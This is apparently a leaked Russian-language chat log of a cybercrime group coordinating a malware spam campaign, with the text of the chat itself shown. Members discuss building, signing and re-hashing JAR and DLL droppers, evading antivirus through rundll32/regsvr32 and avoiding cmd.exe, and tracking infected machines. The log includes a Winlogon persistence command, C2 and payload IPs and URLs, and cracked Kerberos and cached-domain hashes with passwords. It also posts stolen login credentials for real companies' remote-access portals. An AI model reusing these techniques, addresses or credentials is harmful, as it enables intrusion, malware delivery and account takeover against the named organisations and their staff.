ну я подписал jar файлы сертом, который еще не юзал

жду exe

+

мелкор еще пусть проверит

стучат ли

щас

dr2.exe fgfd

палит exe

вакатак

после скачивания видимо

странно, у меня чисто

еще сделают exe ?

а то у меня палит

либо так могу пустить, чисто посмотреть сколько будет запусков

+

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

4.7z

LQMPpDggVQBZnGfDoRMwnMVoXvWmxGYANxVARzxjaeLzcSuccA

+

+

ну екхе со смартскрином всегда, если не подписано или не из архива

+

4kb файл, что это?

ну это вы просто exe запускали

ладно

скоро jar запущу атачем

вроде у меня чисто

но на проверку exe хочет отправтиь

Твой это чей?

интересно)

пустил

деф на деде обновил, чисто скачка, запуск

по сути больше проблема с действиями софтин

ок

Что значит соберет?

есть запуски

аж 27, но чет мне кажется реверсы

с европы тоже есть запуски

В каком варианте дропер нужен?

это мой)

тестовый

ну я чисто шлю по компанимя сейчас

так как по всем нет смысла слать, так как java редко будет у юзера стоять

На вскидку нет. Но поищу.

+

delamode вроде крупная компания

> <@muaddib6:matrix.org> sent a file.

но там еще и ав не стоит, может поэтому стукнула еще

ттут

щас

76k ушло

щас проверю, сек

```

я вижу стуки в панели

стучит все

да

120k ушло

стопну пока

стукнуло сколько?

+

запустился

DE 52 \ 0 \ 52 \ 0%

с юсы точно реверсы

но все равно не оч стукнуло

+

`$krb5tgs$23$*USER$DOMAIN$krbtgt/HAAS4.LOCAL*$0CCFA0B064D3263C7A2A96412BCCD2A5$6A29C09ED7A4D40184F5924A99EAB53245F6E3AE442F01B545783004DDDF856019302FB783E698702D645630A6C6E291658C3138361AEC542247E64726F1EE5420F72C40A27596A1FDFB2AE514C738996A10C95F8743A8D5B4431CE23ECB26EE54ED1953DED2FA46634087CEE0CB17C19A6E682562D4C54923B65009DB7209067AFE0EB6EA1E5BC1FD5116977136125DFEC1FFE18C8E5FC09F3014D674BE1B544DA7E32C1800DAEF30FB9ACDB20244E5C52F4820D043FAAE7B521FDDC9357B62772DABAD70EC2388B214BFF998DE6BD24087677A18AE90706D08D2FD1FE43A3F2B76C0BF1E450C5F4A86A9A314FD563EC2A5ACE4FF66BA2865FC7445DA5780E43F99B977C8624DA3D97DE8527A0AFBADAC3ADC18C1AE670700156ED3F05C1DDF07E68742A5D455B9EBEF76199023E95E84CF51C4996FD39CA6915973129ABEA9C6F8468DE2D4F7C334040837BB7A11CC957FFFCCB2DDD5AA17D68CB04C72A244E18E9BB524A48A936B78BF6C0ED5BA235DD0F0B9A02DF78A71C823735432AFFA751704796FA7DC9E546A5B726B806B022D878B51E7406A51D42A54DD7F5E0FF69C1FBE4316182F9330DEE493293B5431D323C5E02B5C5AFBE9487ACC22BC5E94DE447D8E57B38CAFC882412063D6115DBB19FB1DD10DDB2EB29074F606E47CF9FD7F6661E84F4E4191202F768519318F28067ACF8F6AC7BBD49D10AB53830505F4880A35176B2A496C1B815DC7A602C737BBC718574C4FAE6161CE4754D2995E2C4F49B1D219F806B7DBDC57AC918119493495AC7CED112C5CA006FC34403B42CAD57D9FA86605D275969BEF36FCD71F75A217345369EB0A3E31359701FF9A5D16B68BD0D353F0757ED7076A810E4C8A47FECD9A15DEE0D9B7FF6942DC6DF1B86E167C55A1AC15647EE854840023520621C60EE960749C9E958D9280D528BF463174E6BCD3AC18A518DC9222C06AA1B4A345130D0B9A31D080D202E5ECEA282FE0B70779B187A1E81C77983845479166E7A1138C31F87804FC8A08BC78E96116E7724D2C0ECEB469A4C7E4922EFB39F5AD16A80AECF3BDCD3F6AA5B53C6A4C777E815F24736A4AAB665D120FB2D3EE74AB899B3EC78A3E2070E7D422729FAE1F40BD2EAB1BB68D65D108505F0068CBB66851CF602365BAFCA44531EB200E339FC785DC5AFD085909016371256F7BC5853A89269A5E32AD5C7EBCB1C423E2DB514BF2CAE39FEB15B919979EBE344C6C7DD53E9A268ECE9F6D01BC309C5A9D35DFFC38C46D22CCE8B0AF549239B26E3A896CB938D1CF5D30E0DF484B623FDBB271F42DBCAE7BA7149C0BCAEC615AB351FD0CC4A42C2B138DD9EA88519DC0082FE516E2DBC7DBDD452817ED7A0CADA3CAC36C7E10CE92EC314E45818792E84A9639CC9417748709B1D53AD70DF9FEA5D8345B6B522DBE657AE90E05250D5C96993FA1B463E2C30DB8F8DA0A0050F87FBACC541E7EB0E66BDDD1B6D01AF19EB2944249161A87B5346BAA89658C6D7233F729E2B1EAA145C694D4A149733D1B4CD63B56C22388290625B11F6821995595CC92C444576FB0025B4C466FC36F517F70A178D27D20ED7142BFF22C127B57AF5B7733FBBF0BCFE50513EC0BAF37FA25DA0A6C91A5EC00578D799AB5A8A0`

да, запуски есть

180к ушло уже

500к прошлю

есть ощущение, что dll лучше стучало

DLL нужна?

да, я думаю что так и есть

пару минут сделаю DLL

запустил билд

Жду.

потому что запуск идет через lolbin -> regsvr32 или rundll32

это типо трастовее

АВ впринципе сложэнее заметить логику поведения в том, что по сути и делает дроп в другой процесс

нет. ехе жесче гораздо

ехе он сразу запускает и смотри а с длл сложнее запустить

* ехе он сразу запускает и смотрит, а с длл сложнее запустить

Хотя и там ест ьпсевдо запуск и поверхностное сканирование кода

* Хотя и там есть псевдо запуск и поверхностное сканирование кода

+

260k ушло

DE 64 \ 0 \ 64 \ 0%

ну вот запуски

++

с италии 22 запуска

и оттуда редко реверсы идут

сколько из италии стукуло?

* сколько из италии стукнуло?

для юсы линки сделаю

> <@usernamegg:matrix.bestflowers247.online> ```

Если скачан с интернета, то у файла уже другая репутация

2 из 22)

X 2024-02-13 в 15.15.52.jpg

давайте стопну

и так уже 300к ушло

с дллкой еще попробуем лучше

но в целом по запускам все равно херня

rundll32 file.dll, Calc

готова длка

щас проверяю на стук

и отдаю

новые

делаю

DE 71 \ 0 \ 71 \ 0%

4 из 28 получается

14% всего

PASS: c75ba5b816252c20e230263c28c4a47d

dropper_GG21_T_DLL_f0adda360d2b4ccda11468e026526576_M3cpu.zip

radison пришла

крупная

делаю.

102.16.48.226

ну да, только страна MG странная

делаю

http://51.81.91.105/J2cca/{random}

да

NN сказал еще конфиг ночью будет один

и фаза луны тоже влияет)

это же деф

Не забуть еще про ИИ. Все детекты ватката мл - это именно машинное обучения и облако )

ну да

+

c dll еще европу прошле

* c dll еще европу прошлем

если сделают

> <@usernamegg:matrix.bestflowers247.online> а какая процедура инициализации длл?

аа, идет через DllMain

при атаче

функция Calc - экспортированая функция, нужна для того, чтобы корректно запустилось все, а при атаче к процессу, все начинается

/* entrypoint for the Dll or for shellcode Reflective */

ВОТ ТАК КАРОЧЕ

> <@n3auxaxl:matrix.collectionofmanager.space> dropper_GG21_T_DLL_f0adda360d2b4ccda11468e026526576_M3cpu.zip

dr1.dll

подписан

* вот так кароче

сек, чекаю

+

+

а размножить можно?

дллку

сигна какая?

++

чист ои стучит

чисто и стучит

подписаную насоклько я знаю нельзая размножать

потому что слетьает подпись

если в файле что то меняешь,Ю то его надо заново подписывать

потому что подпись проверяются на основе всего файла

> <@usernamegg:matrix.bestflowers247.online> sent an image.

ладно, я пока одну эту дллку поставил

подписываю jar

да епт

я уже подписываю те

эти в итоге будем слать?

это с дллкой?

+

запустил пока подписывание

скоро проверю чисто ли

ну пока там просто одна дллка на выдаче

++

Behavior:Win32/RunDllExec.SA

хах, чет спалило

behavior: process: C:\Windows\SysWOW64\rundll32.exe, pid:9008:145905132098236

срочно?

Novyk.jar

а то я еду заказал только

вот запускал

> <@n3auxaxl:matrix.collectionofmanager.space> потому что слетьает подпись

ну может это еще и дллку палит

ща отдельно проверю

понял

ну мне кажется там просто тупо видит rundll

из под jar

ну да

дллка чистая

отдельно проверил

запуск дллки палит из под jar

Можешь скинуть криптованый файл, который щас на выдаче стоит

и строку для него плиз

DE 89 \ 0 \ 89 \ 0%

все равно не оч, пару сеток пришло ток

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

5.7z

++++

щас гляну

норм

пусть сбросит jar где внутри дллка

проверю чисто ли

размножить я могу

но сигны нет

+++

щас сек

я могу размножить

и сам подписать потом

тогда подпись не будет слетать

без подписи пусть выдаст дллку

и сигну

да

LQMPpDggVQBZnGfDoRMwnMVoXvWmxGYANxVARzxjaeLzcSuccA

+

ок, скоро размножу дллку и подпишу

мелкор пусть проверит только дллку

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> бурито выдай без подписи длл и сигну дай для размножения

dr2.zip

dct xbcnj

все чисто и стучит

> <@usernamegg:matrix.bestflowers247.online> какая сигна ?

если каждый раз подписывать, это тоже сменит хеш каждый раз

> <@usernamegg:matrix.bestflowers247.online> NNN: проверь ее стучит ли она норм

> <@burito:matrix.bestflowers247.online> если каждый раз подписывать, это тоже сменит хеш каждый раз

+

скоро 50 дллкой сделаю подписаных с разным хешем

размножаю и подписываю каждую

> <@muaddib6:matrix.org> LQMPpDggVQBZnGfDoRMwnMVoXvWmxGYANxVARzxjaeLzcSuccA

да

а нафига вы качаете сразу все jar файлы

блин, я уже те дллки делаю

+

ок, когда он соберет, я проверю

тоже

> <@usernamegg:matrix.bestflowers247.online> [05:35:12] private - coder - ldr: http://temp.sh/igJKM/rels.rar ну вот смотри, тут патти вместо длл, поэтому будет ошибка будет вылетать но это нормально. главное запуск что не палится

ща тоже проверю

https://transfer.sh/sClIk5hK8j/A.zip pass 9374023597593785234

вот тут дллки

> <@usernamegg:matrix.bestflowers247.online> [05:44:06] private - coder - ldr: да я тебе выше писал что такая ошибка это нормально потому что внутри не длл настоящая

жду jar файлы с дллками

там 50 дллкой подписаных

пусть сделает 100 jar

я все равно потом их еще подписывать буду

время займет

все равно я атачам шлю jar файл с мусором

хеши у атачей будут разные

* все равно я атачам шлю jar файл с мусором в зипе

* все равно я атачем шлю jar файл с мусором в зипе

ctr

sek

openjdk надо ставить?

ну это и есть java

openjdk вроде как

ну java runtime

+++

sek

ставлю, пару минут

Screenshot_2024-02-13_16-03-00.png

ага

чисто, запуск чистый

деф ластовый

+

только скачал и запустил подписывать

скоро сброшу один на проверку

Omj.jar

пусть мелкор проверит точно ли там запускается пика

статистики никакой не будет

в слепую по сути будем слать

ну еще по европе думаю прошлю

чисто по компаниям

ну он и говорил, что там ошибка будет

минуту

все ок? могу запускать?

+

на отстук прям пусть проверят этот последний jar

Screenshot_2024-02-13_16-25-47.png

jib,rf

ошибка

так бот мой не запустился

ошибка же

privet

privet

kjdiy den mi zapuskaem aki , stop jat nelza pauzu , a to lok poumaem

i net daje nikakoy infi , che delat nam mojet ne jdat ?

ili jdat

ysnost dayte pliz

зфкг ьштге

пару минут

я сам еще запущу

+

так мелкор проверил последний файл?

ctr

ну у меня тоже ошибка

+

я смотрю

C:\Users\Public дллки тут есть

он походу пусть на запуск неверный указал

короч европу думаю уже не будем слать

+++

ярвг

жду

юсу пустим

* он походу путь на запуск неверный указал

+

он сможет с regsvr32 запустить?

я могу сделать для regsvr32 длку

чтобы запуск был через DllRegisterServer

exe тогда может запихать в jar ?

без линка делать

q kogda u vas file budet?

так и пусть путь поменяет

в %temp%\\{random_file_Name}.{log|csv|res}

вот по такой маске пусть попробует

должно работать норм

смотри такм еще 1 момент:

это надо тестить и смотреть

я когда JS собирал, так ебался)))

> <@usernamegg:matrix.bestflowers247.online> билди

запустил

DllRegisterServer точка входа

запуск regsvr32 /s file.dll

вот ак

`/s` этот флаг для того чтобы всплывающего окна не было

щас скину криптерам, минуту

там будет несколько функций экспорта, под любой запуск из под regsvr32

```

dropper_GG21_T_DLL_f0adda360d2b4ccda11468e026526576_M3cpu.zip

ну пусть сбросит, размножу и подпишу

PASS: 5518600bfe20039fd15ade7dba31cfe4

дллки

++++

длку новую проверил

все стучит

как криптеры сделают, проверим, со всеми ли запусками раюботают

с 3 точками сделать?

чтобы мы могли лавировать в этом плане, чтобы запуск всегда был чист

Да, можешь так же как у меня, по сути если ты будешь передавать как раньше, то буде твсе так же работать со всеми

сможешь же если что уместить их в 1 файл?

Постараюсь

окей, если надо что то переделать, то сделайте с одной - DllRegisterServer

на сегодня должно быть достаточно

+

нет, 1 запуск пусть делает))))

не надо много

1 запуска вполне достаточно

просто это на выбор

если 1 запуск будет палиться

щас пусть сделает

regsvr32 /s

остальные пока не надо

и пусть сделает это без cmd.exe

потому что АВ не любят вообще cmd.exe

из таких процессов

это чаще всего детект

по крайне мере amsi может подсказать дефу, что тчто то не то и мы используем lolbin

каспер и симантек точно палят cmd.exe

поэтому у меня даже в боте идет все через аргументы

допустим тот же whoami /all запускается без cmd.exe

а прям нативно

без wrapper

с анонимными пайпами для чтения результата

кароче беда есть в том, что msi палит в тупую

надо думать что выдавать

vbs быстро тоже начинает палить

ну и они скачивают с сети что то, а хотелось бы, чтобы все было из коробки

и норма сети приходили с трафика ибо там есть потенциал

++++

+

> <@usernamegg:matrix.bestflowers247.online> [07:05:06] private - coder - ldr: да я уже убрал cmd, мне просто так проще было тестить.

чтобы сигнатура ну сам .jar файл не повесили

точнее .jar - это как архив, и там есть class файл,Ю там весь бинарь код храниться

для интерпритации

и сама длка тоже там лежит, еще лучше побить на части

ну сегодня резвее пошло, но реверса пиздец прям

104 в панели в реверс ушли и остальыне прям сильные реверс генерки, 200+-

сильно конечно

вирусописатель))))

[07:14:05] 11_test: [10:49:10] MAKAP: Привет, у меня сейчас 3 типа файла, exe/msi/msix отдаю разные в зависимости того кто запрашивает, откуда запрашивают и т.д.

stariy coder pishet

exe _ sert vidavat davay

u nas vsa rabota v 0 shas idet

v lok

akov

1-2 часа.

отойду на 20 мин

+

в процессе

> <@n3auxaxl:matrix.collectionofmanager.space> Да, можешь так же как у меня, по сути если ты будешь передавать как раньше, то буде твсе так же работать со всеми

DllRegisterServer

что-то тянут

mojet stoit new soft iskat?

i ne mogu tak ubivat aki , vse moi v shoke

kogda letsa traw znachit idut logi i seti (vozmojno) ludi ponimaut shto idet rab , tu ves trud na smarku aki mrut prosto kadjiy den

пилю под ваши особенности

a mi jdem kajdeiy den

lendi

как манна небесная

:D

`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"`

> <@usernamegg:matrix.bestflowers247.online> кошель дай пока usdt erc20

билд то могу сделать, но нагрузки под траф пока нормальной нет

* `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Public\payload.exe","C:\Windows\system32\userinit.exe"`

сегодня хочу это исправить, ибо msi херово себя показывает

сначала сделаю нагрузку, а потом ленды подниму ему, ибо ленды бесполезны без нормальной нагрузки

> <@n3auxaxl:matrix.collectionofmanager.space> PASS: 5518600bfe20039fd15ade7dba31cfe4

dr1.zip

+++

чекаю

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

5.7z

Сделал на все 3 точки.

Должно работать

++++

jrtq

ofc ukzye

окей

щас гляну

сек

+

Спасибо!

Жду дллку

размножу и подпишу

деф обновляется

сек

оба чистые

все четко

и стучат

> <@muaddib6:matrix.org> sent a file.

dr2.dll только DllRegisterServer и без подписи

drs.zip

> <@burito:matrix.bestflowers247.online> sent a file.

жду тестовый jar

> <@usernamegg:matrix.bestflowers247.online> сигна ? ё

> <@muaddib6:matrix.org> sent a file.

+

> <@n3auxaxl:matrix.collectionofmanager.space> какая строка?

ага

окей

> <@usernamegg:matrix.bestflowers247.online> sent a file.

она меньше весит

быстрее уходить письма будут

+++

zhdu

honeypot.txt

+

подписываю

https://transfer.sh/9zGFJxEes0/a.zip pass 234565765213134

дллки

100 штук

я протестирую и надо будет отойти мне на часа 2 +-

еще не скинул?

в NY как раза щас 12:00

должно нормально пойти

еще нет?

burrito: А через сколько у тебя процесс закрывается, после передачи на меня управления моего потока

+++

да

готов

жду jar файлы

ага, четко

+++

+

мне нужны линки софтов что ты давал пару лет назад корп софты я пока займусь под точки тестами

davay exe vidavat

shto skajew ili js

testit

сегодня решу эту проблему

k

EXE долго не протняет

думаю

но я попробую

а с каких он доменов выдает

с траст или каких?

передается до твоего выхода, потом висит на sleep, могу exit сделать после тебя

> <@burito:matrix.bestflowers247.online> передается до твоего выхода, потом висит на sleep, могу exit сделать после тебя

скачиваю еще

30 сек отсалось

есть

проливаю на тачку

отпишу

четко все

работает

чисто

да, все окей

+

а, он jar проверил?

я только скачал и начал подписывать

навсегда)

понял)

ну ладно

не важно

мой код - твой код - мой слип

++

да, все окей

+

ну вроде чисто

17 IP в строю

скоро подпишутся файлы и запущусь

можете пускать

Все, я ушел, буду через часа 2, все проверил еще раз, все четко

стучит

дропается

++++

окей

а блин, он 500 сделал jar

пока что только 100 подписалось

ладно, я запущу пока с тем что есть

потом перезапущу, когда 500 будет

trast

[11:44:42] MAKAP: Я привязывал его к серверу и непосредственно на сервере создавал сабдомены.

[11:46:20] 11_test: Поддомен (или субдомен) — это домен, который является частью домена более высокого уровня. Как это выглядит: если site.com — основной домен, то poddomen.site.com — это поддомен. Во многих случаях при размещении сайта папка поддомена лежит в папке самого домена

пустил юсу

статы нет, так что потом мне скажете будет ли что-то идти

)

uje davno ne polcuhaetsa shto i hotel donesti

какие запуски

я же говорю, у меня нет статы

24к ушло

не быстро уходит, размер большой

никого ?

шлю чисто по компаниям юса и канада

какой домен? посмотрю какой фильтр там

@n3auxaxl:matrix.collectionofmanager.spaceотвалить можно мин120?

ок

чет не понятно кто это

ладно

50k ушло

приходит что?

мда

новостей от чела нет, я поеду домой через минут 30 если не будет прогресса? эту работу я могу сделать удаленно

90k ушло

все, больше никого?

a che ti ne hochew nam persi otdat , mi podelimsa s vplat

banki persi , workgrupe

ты больше пиши о проблемах мы поможем узнаем у других ты просто молчишь

105k ушло

еще слать?

ploho idet?

v chem trabl

raskaji hot

mojet podskajem , est kto spamit

pdf videl fail delaut

> <@ssd:matrix.bestflowers247.online> мне нужны линки софтов что ты давал пару лет назад корп софты я пока займусь под точки тестами

i sdelau tochki

2-3 god proshlo

ne dumal shto oni ponadobatsa

svoih sprosi , po softam ochen uskorit

> <@n3auxaxl:matrix.collectionofmanager.space> сегодня решу эту проблему

даже таск не отработал

не определил что было

нового пока ничего нет(((

> <@usernamemm:matrix.bestflowers247.online> sent a file.

да у нас в последнее время вообще с юсой никак

++

stop my all

ща еще прошлю чисто по англ письмам

не которые помечены что компания

деф обновился

ща проверю

+

136к ушло

я и говорил, что jar мало кто открыть вообще сможет

+

ты просто скажи нам ждать вас или какие то другие варики искать каждый день готовим и умирает все же

+

ну вроде как я понял можно письма выкачать

170k ушло. стопну

> <@usernamegg:matrix.bestflowers247.online> ну слать не будем по ним пока не выкачаем все све все )

можно найти другой софт если серт дашь начать грузить

вроде все. до завтра. офаюсь

пойдет какой то мат s googla

```

$DCC2$10240#admin.adam.jacques#821783b0d142ca1a756863f1b3f9eac3

> <@usernamegg:matrix.bestflowers247.online> `https://remote.seawayintermodal.com.au/RDWeb/Pages/en-US/login.aspx: 160kk test.user@seawayintermodal.com.au:Welcome1`

$DCC2$10240#fixzone-siji#bdf7d7a141e34e816c1e510739405e88:February2020!

rbs.txt

+++

это то понятно

то есть по сути он просто со своего же сервера выдает заклоаченый exe

с утра пораньше проснусь поставлю

чтобы быстро вам на крипт отдать

чтобы сразу сделали и европу раньше запустили

сколько скачиваний держит файл

интересно аж что у него за крипт такой

что сможет деражть столкьо

и чем он подписывает

$krb5tgs$23$*Administrator$wakefields.local$MSSQLSvc/db2ks.wakefields.local:1433*$58e724260bd22f8......cd12c797848a:W@kef1elds

> <@usernamehunter:matrix.bestflowers247.online> $krb5tgs$23$*Administrator$wakefields.local$MSSQLSvc/db2ks.wakefields.local:1433*$58e724260bd22f8......cd12c797848a:W@kef1elds

Хостер перезапускал сервера, который гейты, карчое Tier 3 перезапускался и все упало, все опять ожило, но все равно херово

Щас поставлю проверку Tier 3, чтобы аптайп его чекался, каждую минуту, и если что пыталось подключится к нему и перезапустить всю сеть

Все, система инициализировалась, боты идут опять, стучат, те, которые были с нами

они вернуться через закреп

Все, четко

B: 18 | G: 1

18 IP в строю

```

и ащс быстро еще перепишу в боте, чтобы он до бесконечности пробовал подключиться к серверам, даже если все в оффе

`185.219.221.136:37703`

все, готово, в боте апдейт сделал

64.176.219.106:42281

по сути у меня есть мини клоака такая, только мне надо отсекать модеров и все

64.176.219.106:38123

> <@usernamegg:matrix.bestflowers247.online> `https://rd.affinitycpalife.com/RDWeb/Pages/en-US/login.aspx;ashan@affinitycpalife.com:gA#6D3e4BrXs`

> <@usernamegg:matrix.bestflowers247.online> `https://id.bcit.ca/my.policy:jki@my.bcit.ca:Aa35708520!`

> <@usernamegg:matrix.bestflowers247.online> ____

> <@usernamegg:matrix.bestflowers247.online> `https://apps.icdd-rds.us/RDweb/Pages/en-US/login.aspx:icdd-rds\qiau_1:SpgN345%\ -`

> <@usernamegg:matrix.bestflowers247.online> ________

X 2024-02-14 в 00.22.48.jpg

shas uznau

kriptuet sam

znau

> <@n3auxaxl:matrix.collectionofmanager.space> сколько скачиваний держит файл

?

> <@n3auxaxl:matrix.collectionofmanager.space> и чем он подписывает

> <@usernamegg:matrix.bestflowers247.online> `https://becris-info.nbb.be/my.policy:6660BECRIS:ALDBecris1*`

> <@usernamenn:matrix.bestflowers247.online> не коннектит на веб пагу

image.png

image.png

```

62kk$ USA Manufacturing (234 tachki) http://precision.hostedrmm.com:8040/Login:akshaym:A@123456789a